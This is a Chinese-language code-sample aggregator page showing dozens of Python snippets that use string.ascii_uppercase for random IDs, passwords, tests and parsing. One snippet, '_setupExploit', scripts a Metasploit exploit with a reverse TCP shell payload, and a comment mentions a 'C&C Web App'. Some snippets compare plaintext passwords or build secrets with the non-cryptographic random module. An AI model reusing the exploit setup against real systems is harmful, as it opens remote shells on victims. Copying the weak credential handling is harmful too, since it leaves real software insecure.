Python string 模块,ascii_uppercase() 实例源码
我们从Python开源项目中,提取了以下46个代码示例,用于说明如何使用string.ascii_uppercase()。
def save(self):
# Use long filename as first preference
filename = self.longFilename
# Otherwise use the short filename
if filename is None:
filename = self.shortFilename
# Otherwise just make something up!
if filename is None:
import random
import string
filename = 'UnknownFilename ' + \
''.join(random.choice(string.ascii_uppercase + string.digits)
for _ in range(5)) + ".bin"
#f = open("/tmp/" + filename, 'wb')
# if self.data is None:
#f.write(("Pas de PJ"))
# f.close()
# else:
# f.write((self.data))
# f.close()
# return filename
def index():
if request.args.get('code'):
unlock_code = request.args.get('code')
# unlock, new password
re = s.query(RecoveryEmail).filter(RecoveryEmail.password_code==unlock_code).one_or_none()
if re:
jid = re.jid
re.password_code = None
s.merge(re)
s.commit()
# set new password and send email
email_address = re.email
password = ''.join(random.SystemRandom().choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for _ in range(10))
p = subprocess.Popen(['/usr/bin/prosodyctl', 'passwd', jid], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT)
args = bytes("%s\n%s\n" % (password, password), encoding='utf8')
p.communicate(args)
sendMail(email_address, 'new password', password)
content = render_template('success.html', message='password was sent')
else:
content = render_template('error.html', message='link invalid')
else:
content = render_template('index.html')
return content
def __get_f(self, s):
i = 0
t = ''
l = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
while i < len(s):
try:
c1 = l.index(s[i])
c2 = l.index(s[i + 1])
t += chr(c1 << 2 & 255 | c2 >> 4)
c3 = l.index(s[i + 2])
t += chr(c2 << 4 & 255 | c3 >> 2)
c4 = l.index(s[i + 3])
t += chr(c3 << 6 & 255 | c4)
i += 4
except:
break
return t
def startReplay(warcFilename):
global p
pathOfWARC = os.path.join(os.path.dirname(moduleLocation) +
'/samples/warcs/' + warcFilename)
tempFilePath = '/tmp/' + ''.join(random.sample(
string.ascii_uppercase + string.digits * 6, 6)) + '.cdxj'
print('B2' + tempFilePath)
p = Process(target=replay.start, args=[tempFilePath])
p.start()
sleep(5)
cdxjList = indexer.indexFileAt(pathOfWARC, quiet=True)
cdxj = '\n'.join(cdxjList)
with open(tempFilePath, 'w') as f:
f.write(cdxj)
def Get_and_Store_All_Players_Names_and_Ids(filename):
Players = {}
PlayerType = ['current','historical']
for playertype in PlayerType:
for Last_Name_Beginning in list(string.ascii_uppercase):
print('Getting %s players whose last name starts with %s' % (playertype,
Last_Name_Beginning))
url_parameters = {'category':'lastName','filter':Last_Name_Beginning,
'playerType':playertype}
initial_url = 'http://www.nfl.com/players/search'
soup = Get_HTML_Document(initial_url,url_parameters)
Max_Page = Obtain_Number_of_Pages(soup,initial_url)
Obtain_Players_And_Status(initial_url,url_parameters,Max_Page,Players,
soup,filename)
return Players
def convert_to_label_chars(s):
"""Turn the specified name and value into a valid Google label."""
# We want the results to be user-friendly, not just functional.
# So we can't base-64 encode it.
# * If upper-case: lower-case it
# * If the char is not a standard letter or digit. make it a dash
accepted_characters = string.ascii_lowercase + string.digits + '-'
def label_char_transform(char):
if char in accepted_characters:
return char
if char in string.ascii_uppercase:
return char.lower()
return '-'
return ''.join(label_char_transform(c) for c in s)
def generate_batch(self, chathistory, target):
if len(chathistory) > 0:
# Generate a random alphanumeric BATCH ID
batch_id = ''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for i in range(BATCH_ID_SIZE))
# Place the BATCH start identifer to the beginning of the chathistory
line = 'irc.znc.in BATCH +{} chathistory {}'.format(batch_id, target)
self.send_chathistory(line)
# Prepend the BATCH ID to each line from the chathistory
for line in chathistory:
#msg_id = uuid.uuid4()
#line = '@batch={};draft/msgid={};{}'.format(batch_id, msg_id, line)
line = '@batch={};{}'.format(batch_id, line)
self.send_chathistory(line)
# Place the BATCH end identifer to the beginning of the chathistory
line = 'irc.znc.in BATCH -{}'.format(batch_id)
self.send_chathistory(line)
else:
client = self.GetClient()
self.send_error(client, 'ERR', 'NOT_FOUND')
# Send the given line to the user
def update(self):
self.button.destroy()
question = self.hat.ask_question()
if question is None:
self.result()
return
self.label.destroy()
self.label = tk.Label(text=question['question'], bg='black', fg='white')
self.label.grid(row=1, column=1)
self.sublabel.destroy()
self.sublabel = tk.Label(text='\n'.join(question['answers']),
bg='black', fg='white')
self.sublabel.grid(row=2, column=1)
for button in self.buttons:
button.destroy()
for i in range(len(question['answers'])):
button = tk.Button(self.button_frame, text=ascii_uppercase[i], highlightbackground='black',
command=partial(self.choose_answer, answer=ascii_uppercase[i]))
button.grid(row=0, column=i)
self.buttons.append(button)
def parse_xlsx(self, doc, sh=False):
workbook = load_workbook(filename = doc)
if sh:
sheet = workbook[sh]
else:
sheet = workbook['sheet1']
dimensions = sheet.dimensions
d1, d2 = dimensions.split(':')
cols = list(string.ascii_uppercase)
cols += [''.join(x) for x in product(cols,cols)] # to include further columns, named as combinations of characters
firstcol = ''.join([x for x in d1 if re.search(r'[A-Z]', x)])
lastcol = ''.join([x for x in d2 if re.search(r'[A-Z]', x)])
firstrow = int(''.join([x for x in d1 if re.search(r'[0-9]', x)]))
lastrow = int(''.join([x for x in d2 if re.search(r'[0-9]', x)]))
cols = cols[:cols.index(lastcol) + 1]
lines = []
for i in range(firstrow, lastrow+1):
line = []
for c in cols:
line.append(sheet[c + str(i)].value)
lines.append(line)
return lines
def test_add_promotions_overflow(self):
responses.add_callback(
responses.POST,
'https://api.optimove.net/v3.0/general/login',
callback=login_callback,
content_type='application/json'
)
responses.add_callback(
responses.POST,
'https://api.optimove.net/v3.0/integrations/AddPromotions',
callback=add_promotions_callback,
content_type='application/json'
)
client = Client('username', 'password')
too_much_promotions = {}
for it in range(150):
promo_code = ''.join([random.choice(string.ascii_uppercase + string.digits) for _ in range(5)])
too_much_promotions[promo_code] = promo_code
self.assertRaises(Exception, client.integrations.add_promotions, too_much_promotions)
def test_delete_promotions_overflow(self):
responses.add_callback(
responses.POST,
'https://api.optimove.net/v3.0/general/login',
callback=login_callback,
content_type='application/json'
)
responses.add_callback(
responses.POST,
'https://api.optimove.net/v3.0/integrations/DeletePromotions',
callback=delete_promotions_callback,
content_type='application/json'
)
client = Client('username', 'password')
too_much_promotions = []
for it in range(150):
promo_code = ''.join([random.choice(string.ascii_uppercase + string.digits) for _ in range(5)])
too_much_promotions.append(promo_code)
self.assertRaises(Exception, client.integrations.delete_promotions, too_much_promotions)
def test_add_channel_apps_overflow(self):
responses.add_callback(
responses.POST,
'https://api.optimove.net/v3.0/general/login',
callback=login_callback,
content_type='application/json'
)
responses.add_callback(
responses.POST,
'https://api.optimove.net/v3.0/integrations/AddChannelApps',
callback=add_channel_apps_callback,
content_type='application/json'
)
client = Client('username', 'password')
too_much_channel_apps = {}
for app_id in range(150):
too_much_channel_apps[app_id] = \
''.join([random.choice(string.ascii_uppercase + string.digits + ' ') for _ in range(50)])
self.assertRaises(Exception, client.integrations.add_channel_apps, 3, too_much_channel_apps)
def run(self):
import random
import string
# Create a dir contains suplat files
working_path = os.getcwd()
suplat_dir = os.path.join(working_path,
'SUPLAT_{:}'.format(self.comment))
if not os.path.exists(suplat_dir):
os.makedirs(suplat_dir)
else:
shutil.rmtree(suplat_dir)
os.makedirs(suplat_dir)
for hnf in self.hnfs:
rd_suffix = ''.join(random.choices(string.ascii_uppercase
+ string.digits, k=4))
sl_origin = hnf.to_general_cell()
sl = sl_origin.get_shaped_cell()
out = GeneralIO(sl)
ofname = "SUPLAT_{:}_{:}.{:}".format(self.v, rd_suffix, self.outmode)
lastpath = os.path.join(suplat_dir, ofname)
out.write_file(lastpath)
项目:MITx-6.00.1x-Introduction-to-Computer-Science-and-Programming-Using-Python
作者:xianglol |
项目源码 |
文件源码
def apply_shift(self, shift):
'''
Applies the Caesar Cipher to self.message_text with the input shift.
Creates a new string that is self.message_text shifted down the
alphabet by some number of characters determined by the input shift
shift (integer): the shift with which to encrypt the message.
0 <= shift < 26
Returns: the message text (string) in which every character is shifted
down the alphabet by the input shift
'''
letters_all = string.ascii_lowercase + string.ascii_uppercase
shifted_txt = ''
shift_dic = self.build_shift_dict(shift)
for e in self.message_text:
if e in letters_all:
e = shift_dic[e]
shifted_txt += e
return shifted_txt
def login():
error = None
if request.method == 'POST':
AllUser=session.query(User).all()
for u in AllUser:
if( request.form['username']==u.name and request.form['password']==u.password):
login_session['logged_in'] = True
flash('You were logged in.')
login_session['U_Id']=u.id
return redirect(url_for('home'))
error = 'Invalid Credentials. Please try again.'
return render_template('normallogin.html', error=error)
else:
state = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in xrange(32))
login_session['state'] = state
return render_template('normallogin.html', error=error,STATE=state)
def expand_cc_args(every_cc, all_cc, cc_args, limit):
codes = set()
A_Z = string.ascii_uppercase
if every_cc:
codes.update(a+b for a in A_Z for b in A_Z)
elif all_cc:
with open(COUNTRY_CODES_FILE) as fp:
text = fp.read()
codes.update(text.split())
else:
for cc in (c.upper() for c in cc_args):
if len(cc) == 1 and cc in A_Z:
codes.update(cc+c for c in A_Z)
elif len(cc) == 2 and all(c in A_Z for c in cc):
codes.add(cc)
else:
msg = 'each CC argument must be A to Z or AA to ZZ.'
raise ValueError('*** Usage error: '+msg)
return sorted(codes)[:limit]
def _setupExploit(self, exploit, msfport):
self.log.debug('Setting up {}'.format(exploit))
rand_url = "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5))
rand_port = random.randint(1000, 65535)
#generate the command string to send to the virtual console
cmd = "use exploit/{}\n".format(exploit)
cmd += "set SRVPORT {}\n".format(msfport)
cmd += "set URIPATH {}\n".format(rand_url)
cmd += "set PAYLOAD generic/shell_reverse_tcp\n"
cmd += "set LHOST {}\n".format(self.msfip)
cmd += "set LPORT {}\n".format(rand_port)
cmd += "set ExitOnSession False\n"
cmd += "exploit -j\n"
self.msf.sendcommand(cmd)
return rand_url
def randomString(len=16, prefix="TEST:"):
"""
Create a random string to be used to build data for tests
"""
if len > 500000:
lis = list(string.ascii_lowercase)
return ''.join(random.choice(lis) for _ in range(len))
rand = random.SystemRandom()
charset = string.ascii_uppercase + string.digits
random_string = prefix
for _ in range(len):
random_string += rand.choice(charset)
return random_string
def _generate_case_table(case_mapping: str) -> Dict[int, str]:
case_mapping = case_mapping.lower()
if case_mapping not in ('ascii', 'rfc1459', 'strict-rfc1459'):
# TODO log warning
case_mapping = DEFAULT_CASE_MAPPING
upper_str = string.ascii_uppercase
lower_str = string.ascii_lowercase
if case_mapping == 'rfc1459':
upper_str += "[]\\^"
lower_str += "{}|~"
elif case_mapping == 'strict-rfc1459':
upper_str += "[]\\"
lower_str += "{}|"
return str.maketrans(upper_str, lower_str)
def getchars(type, need_char=False):
flag = str(type)
chars = []
if type in pystrs.base_dic_type and not need_char:
if flag == pystrs.base_dic_type[0]:
chars = string.digits
elif flag == pystrs.base_dic_type[1]:
chars = string.ascii_lowercase
elif flag == pystrs.base_dic_type[2]:
chars = string.ascii_uppercase
elif flag == pystrs.base_dic_type[3]:
chars = string.printable[:36]
elif flag == pystrs.base_dic_type[4]:
chars = string.digits + string.ascii_uppercase
elif flag == pystrs.base_dic_type[5]:
chars = string.ascii_letters
elif flag == pystrs.base_dic_type[6]:
chars = string.printable[:62]
return chars
elif need_char:
return type
def rot13a(text):
"""
My first solution: brute force
"""
# loop through the letters in the input string
new_text = []
for c in text:
# do upper and lower case separately
if c in string.ascii_lowercase:
o = ord(c) + 13
if o > z:
o = a-1 + o-z
elif c in string.ascii_uppercase:
o = ord(c) + 13
if o > Z:
o = A-1 + o-Z
else:
o = ord(c)
new_text.append(chr(o))
return "".join(new_text)
def next_job_hash(size=8):
"""
Generates a job hash (default: 8 characters).
:param size The amount of random characters to use for a job hash.
Defaults to 8.
:return Returns a job hash consisting of a static prefix, a timestamp
representing the time when the method was invoked, and random characters.
"""
job_hash = 'peekaboo-run_analysis-'
job_hash += '%s-' % datetime.now().strftime('%Y%m%dT%H%M%S')
job_hash += ''.join(
choice(string.digits + string.ascii_lowercase + string.ascii_uppercase)
for _ in range(size)
)
return job_hash
def randompass():
'''
Generate a long random password that comply to Linode requirements
'''
# Linode API currently requires the following:
# It must contain at least two of these four character classes:
# lower case letters - upper case letters - numbers - punctuation
# we play it safe :)
import random
import string
# as of python 2.4, this reseeds the PRNG from urandom
random.seed()
lower = ''.join(random.choice(string.ascii_lowercase) for x in range(6))
upper = ''.join(random.choice(string.ascii_uppercase) for x in range(6))
number = ''.join(random.choice(string.digits) for x in range(6))
punct = ''.join(random.choice(string.punctuation) for x in range(6))
p = lower + upper + number + punct
return ''.join(random.sample(p, len(p)))
def test_AppCompat_LiteralSearch(self):
rndFileName = ''.join(random.choice(string.ascii_uppercase) for _ in range(20))
with appDB.DBClass(self.testset1, settings.__version__) as DB:
DB.appInitDB()
conn = DB.appConnectDB()
for i in xrange(0,20):
entry_fields = settings.EntriesFields(EntryType=settings.__APPCOMPAT__,
FilePath='C:\Temp', FileName=rndFileName, Size=i, ExecFlag='True')
add_entry(DB, "TestHost01", entry_fields)
# Get temp file name for the DB
with tempfile.NamedTemporaryFile(suffix='.txt', prefix='test_AppCompat_LiteralSearch', dir=tempfile.gettempdir()) as temp_file:
# Search
(num_hits, num_hits_suppressed, results) = main(["-o", temp_file.name, self.testset1, "search", "-F", rndFileName])
# Check we got at least as many as we added into the DB
self.assertTrue(num_hits == 20, sys._getframe().f_code.co_name + " num_hits: %d" % num_hits)
# Check output has the expected result
self.assertEquals(num_hits - num_hits_suppressed, self.count_lines_regex(temp_file.name, rndFileName),
sys._getframe().f_code.co_name + " Output regex count doesn't match num_hits!")
def test_AppCompat_IndexedSearch(self):
rndFileName = ''.join(random.choice(string.ascii_uppercase) for _ in range(20))
with appDB.DBClass(self.testset1, settings.__version__) as DB:
DB.appInitDB()
conn = DB.appConnectDB()
for i in xrange(0,20):
entry_fields = settings.EntriesFields(EntryType=settings.__APPCOMPAT__,
FilePath='C:\Temp', FileName=rndFileName, Size=i, ExecFlag='True')
add_entry(DB, "TestHost01", entry_fields)
# Get temp file name for the DB
with tempfile.NamedTemporaryFile(suffix='.txt', prefix='test_AppCompat_IndexedSearch', dir=tempfile.gettempdir()) as temp_file:
# Search
(num_hits, num_hits_suppressed, results) = main(["-o", temp_file.name, self.testset1, "fsearch", "FileName", "-F", rndFileName])
# Check we got at least as many as we added into the DB
self.assertTrue(num_hits == 20, sys._getframe().f_code.co_name + " num_hits: %d" % num_hits)
# Check output has the expected result
self.assertEquals(num_hits - num_hits_suppressed, self.count_lines_regex(temp_file.name, rndFileName),
sys._getframe().f_code.co_name + " Output regex count doesn't match num_hits!")
def test_AppCompat_IndexedSearchFilePath(self):
rndFileName = ''.join(random.choice(string.ascii_uppercase) for _ in range(20))
with appDB.DBClass(self.testset1, settings.__version__) as DB:
DB.appInitDB()
conn = DB.appConnectDB()
for i in xrange(0,20):
entry_fields = settings.EntriesFields(EntryType=settings.__APPCOMPAT__,
FilePath='C:\\'+rndFileName, FileName="calc.exe", Size=i, ExecFlag='True')
add_entry(DB, "TestHost01", entry_fields)
# Get temp file name for the DB
with tempfile.NamedTemporaryFile(suffix='.txt', prefix='test_AppCompat_IndexedSearch', dir=tempfile.gettempdir()) as temp_file:
# Search
(num_hits, num_hits_suppressed, results) = main(["-o", temp_file.name, self.testset1, "fsearch", "FilePath", "-F", "C:\\"+rndFileName])
# Check we got at least as many as we added into the DB
self.assertTrue(num_hits == 20, sys._getframe().f_code.co_name + " num_hits: %d" % num_hits)
# Check output has the expected result
self.assertEquals(num_hits - num_hits_suppressed, self.count_lines_regex(temp_file.name, rndFileName),
sys._getframe().f_code.co_name + " Output regex count doesn't match num_hits!")
def test_Stack(self):
rndFileName = ''.join(random.choice(string.ascii_uppercase) for _ in range(15))
with appDB.DBClass(self.testset1, settings.__version__) as DB:
DB.appInitDB()
conn = DB.appConnectDB()
# Add stuff to stack
for i in xrange(0,10):
entry_fields = settings.EntriesFields(EntryType=settings.__APPCOMPAT__,
FilePath='C:\Windows', FileName=rndFileName, Size=i, ExecFlag='True')
add_entry(DB, "TestHost01", entry_fields)
# Run
ret = main([self.testset1, "stack", "FileName", "FilePath = 'c:\Windows'"])
# Check status count == db count
count = int([i[1][0] for i in ret if rndFileName in i[1]][0])
self.assertEquals(count, 10, "test_Stack failed!")
def id_generator(size=8, chars=string.ascii_uppercase + string.digits):
"""Generate a random id.
This function generate a random id containing uppercase and digits.
:parameter:
size : int
The id length in number of chars.
chars : strings
The elements to use to create random id.
:return: A string, the random generated id.
"""
return ''.join(random.choice(chars) for _ in range(size))
# Takes list of files as argument, put them in tar archive and return it.
def H(self, count):
redisDb = EfiDB().redisDb
sampleData = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(512))
start = time.time()
for x in range(0, count):
redisDb.hset('test', x, sampleData)
end = time.time()
dur = end - start
rate = count / dur
colTxt = " HSET %s keys in %.4f seconds @ %.0f/s" % (count, dur, rate)
ttyP(0, colTxt)
start = time.time()
for x in range(0, count):
redisDb.hget('test', x)
end = time.time()
dur = end - start
rate = count / dur
colTxt = " HGET %s keys in %.4f seconds @ %.0f/s" % (count, dur, rate)
ttyP(0, colTxt)
redisDb.delete('test')
def __get_f(self, s):
i = 0
t = ''
l = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
while i < len(s):
try:
c1 = l.index(s[i])
c2 = l.index(s[i + 1])
t += chr(c1 << 2 & 255 | c2 >> 4)
c3 = l.index(s[i + 2])
t += chr(c2 << 4 & 255 | c3 >> 2)
c4 = l.index(s[i + 3])
t += chr(c3 << 6 & 255 | c4)
i += 4
except:
break
return t
def get_windows_disks(self):
""" Return disks available on Windows machine
:return: list of characters representing available disks
"""
disks = list()
import ctypes
kernel32 = ctypes.WinDLL('kernel32')
SEM_FAILCRITICALERRORS = 1
SEM_NOOPENFILEERRORBOX = 0x8000
SEM_FAIL = SEM_NOOPENFILEERRORBOX | SEM_FAILCRITICALERRORS
oldmode = ctypes.c_uint()
kernel32.SetThreadErrorMode(SEM_FAIL, ctypes.byref(oldmode))
for s in string.ascii_uppercase:
n = s + WINDOWS_DISK_SUFFIX
if os.path.exists(n):
disks.append(n)
kernel32.SetThreadErrorMode(oldmode, ctypes.byref(oldmode))
return disks
def ran(N):
return ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(N))
#given a string s, returns a list containing an encrypted string and a key
def random_str(count=16, seed=ascii_uppercase + digits + ascii_lowercase):
"""
Generates a random string. This code is based on a great stackoverflow
post here: http://stackoverflow.com/questions/2257441/\
random-string-generation-with-upper-case-\
letters-and-digits-in-python
"""
return ''.join(choice(seed) for _ in range(count))
def random_string(size=6, chars=string.ascii_uppercase + string.digits):
"""Get a random string of numbers and uppercase letters"""
return ''.join(random.choice(chars) for _ in range(size))
def _cleanId(prop):
translation = 48*"_"+_string.digits+7*"_"+_string.ascii_uppercase+6*"_"+_string.ascii_lowercase+133*"_"
prop_id = prop.get_name()
if prop_id is None:
prop_id = prop.get_id()
return str(prop_id).translate(translation)
def gen_client_ID(size=12, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
# Set `SMTP` to False in order to force the program to use HTTP and it's own C&C Web App.
def make_simple_equity_info(sids, start_date, end_date, symbols=None):
"""
Create a DataFrame representing assets that exist for the full duration
between `start_date` and `end_date`.
Parameters
----------
sids : array-like of int
start_date : pd.Timestamp
end_date : pd.Timestamp
symbols : list, optional
Symbols to use for the assets.
If not provided, symbols are generated from the sequence 'A', 'B', ...
Returns
-------
info : pd.DataFrame
DataFrame representing newly-created assets.
"""
num_assets = len(sids)
if symbols is None:
symbols = list(ascii_uppercase[:num_assets])
return pd.DataFrame(
{
'symbol': symbols,
'start_date': [start_date] * num_assets,
'end_date': [end_date] * num_assets,
'exchange': 'TEST',
},
index=sids,
)
def test_many_inputs(self):
"""
Test adding NumericalExpressions with >10 inputs.
"""
# Create an initial NumericalExpression by adding two factors together.
f = self.f
expr = f + f
self.fake_raw_data = {f: full((5, 5), 0, float)}
expected = 0
# Alternate between adding and subtracting factors. Because subtraction
# is not commutative, this ensures that we are combining factors in the
# correct order.
ops = (add, sub)
for i, name in enumerate(ascii_uppercase):
op = ops[i % 2]
NewFactor = type(
name,
(Factor,),
dict(dtype=float64_dtype, inputs=(), window_length=0),
)
new_factor = NewFactor()
# Again we need a NumericalExpression, so add two factors together.
new_expr = new_factor + new_factor
self.fake_raw_data[new_factor] = full((5, 5), i + 1, float)
expr = op(expr, new_expr)
# Double the expected output since each factor is counted twice.
expected = op(expected, (i + 1) * 2)
self.check_output(expr, full((5, 5), expected, float))
def passwd_generator(size=25):
chars=string.ascii_uppercase + string.ascii_lowercase + string.digits
return ''.join(random.choice(chars) for x in range(size,size+size))
def request_password():
jid = request.form.get('jid')
re = s.query(RecoveryEmail).filter(RecoveryEmail.jid==jid, RecoveryEmail.confirmed==True).one_or_none()
if re:
password_code = ''.join(random.SystemRandom().choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for _ in range(64))
re.password_code = password_code
s.merge(re)
s.commit()
password_code_link = 'https://www.pimux.de/password/?code=%s' % password_code
sendMail(re.email, 'password reset request', 'click here: %s' % password_code_link)
content = render_template('success.html', message='link was sent')
else:
content = render_template('error.html', message='user not found')
return content
def RandomToken(length):
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(length))
def push_remote_text_file(self, input_data=None, run=False, file_output=False):
"""
Push a text file to the current remote ECS cluster instance and optionally run it.
:param input_data: Input data to send. Either string or file.
:param run: Boolean that indicates if the text file should be run.
:param file_output: Boolean that indicates if the output should be saved.
:return: tuple - success, output
"""
if self.__is_or_has_file(input_data):
path, name = os.path.split(input_data.name)
else:
name = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
if run:
cmd = '"cat \> {}\;bash {}\;rm {}"'.format(name, name, name)
else:
cmd = '"cat \> {}"'.format(name)
with_output = True
if file_output:
with_output = NamedTemporaryFile(delete=False)
output_filename = with_output.name
success, output = self.ssh(command=cmd, with_output=with_output, input_data=input_data)
if file_output:
output = output_filename
return success, output
def __init__(self, host_port, id = None):
if id == None:
id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
self._host, self._port = host_port
self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self._id = id
self._mid = 1
# Init session
print("[+] Using session ID: " + self._id)
self.send(self.make_SA())
# Check if we got something
res = self.recv()
cookie = res[8:16]
print("[+] Cookie: " + cookie)
self._cookie = cookie
# Enforce value of 0x21
if ord(res[16]) != 0x21:
raise Exception("Invalid router response")
print("[+] New SA successfuly created.")
# UPD socket helpers
def get_http_header(self, options=None, pki_string=None):
header = {"Accept": "application/json", "Content-type": "application/json"}
if pki_string is not None:
random_header_value = "".join(
random.SystemRandom().choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for _ in
range(self.RANDOM_STRING_SIZE))
header.update(
{'Authorization': self.prepare_auth_string(options, random_header_value, pki_string)})
header.update({'x-iyzi-rnd': random_header_value})
header.update({'x-iyzi-client-version': 'iyzipay-python-1.0.29'})
return header
def kRandStr(size):
"""docstring."""
return ''.join(
random.choice(
string.ascii_uppercase + string.digits)
for _ in range(size))
def __init__(self,txt,seq_len=5):
"""txt = original text
seq_len = sequence length ; 3 to 6 give the best results"""
# dictionary mapping sequences of seq_len chararcters to the list
# of characters following them in the original text
self.followers = {}
for i in range(len(txt)-2*seq_len):
sequence = txt[i:i+seq_len] # sequence of seq_len characters
next_char = txt[i+seq_len] # the character following this sequence
if sequence in self.followers:
self.followers[sequence].append(next_char)
else:
self.followers[sequence]=[next_char]
# sequences that start with an uppercase letter
starts = [ key for key in self.followers
if key[0] in string.ascii_uppercase ]
if not starts: # just in case...
starts = list(self.followers.keys())
# build a distribution of these sequences with the same frequency
# as in the original text
self.starts = []
for key in starts:
for i in range(len(self.followers[key])):
self.starts.append(key)